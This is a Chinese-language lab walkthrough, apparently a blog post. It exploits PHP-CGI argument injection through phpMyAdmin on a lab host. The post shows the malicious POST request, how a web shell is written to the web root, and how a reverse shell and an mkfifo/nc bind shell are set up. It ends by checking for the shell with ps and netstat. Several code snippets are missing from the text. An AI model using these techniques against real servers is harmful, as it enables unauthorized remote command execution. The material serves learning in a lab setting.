可以在Burpsuite中将下列代码上传:
POST http://10.10.10.137/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:10.10.10.137
Content-Length: 34
加了die()函数:
不加die()函数:
这里将一下在PHP中system(),exec(),passthru()这三个相似的函数,它们都可以调用外部系统命令,但有点小区别:
system():直接输出所有结果并返回最后一行shell结果。
exec():不输出所有结果而是显示结果的最后一行,所有结果可以保存到一个返回的数组里面。
passthru():把命令执行的所有结果直接输出。在前面代码中passthru()函数里面的内容可以替换为:
echo "" > /var/www/cmd.php
上面代码中的反斜杠用于转义。整个代码可以实现将php代码保存到服务器的Web根目录中从而能够通过访问该目录的文件来实现输入命令:
文件在Kali的/usr/share/webshells/php/php-reverse-shell.php
先复制出来修改里面反弹的IP地址为Kali的IP,端口也可以修改:
然后将整个php代码覆盖掉:
在Kali中nc开启监听1234端口,然后发送该POST请求,直接看到反弹的shell:
/tmp/pipe');
?>
其中mkfifo命令创建一个FIFO文件,即命名管道;将sh即shell读取到新建的命名管道中并通过nc监听再重定向到该命名管道中,即将在监听端口接收到的命令重定向到命名管道中的sh进行执行。
然后再Kali中直接通过nc连接get shell:
输入查看进程的命令:ps aux
可查看到开启了4444端口的监听,也就是说会容易被发现:
接着输入:netstat -pantu
可看到4444端口是和IP为10.10.10.151的主机进行监听连接的:
暂且这么点,有新的学习体会便更新~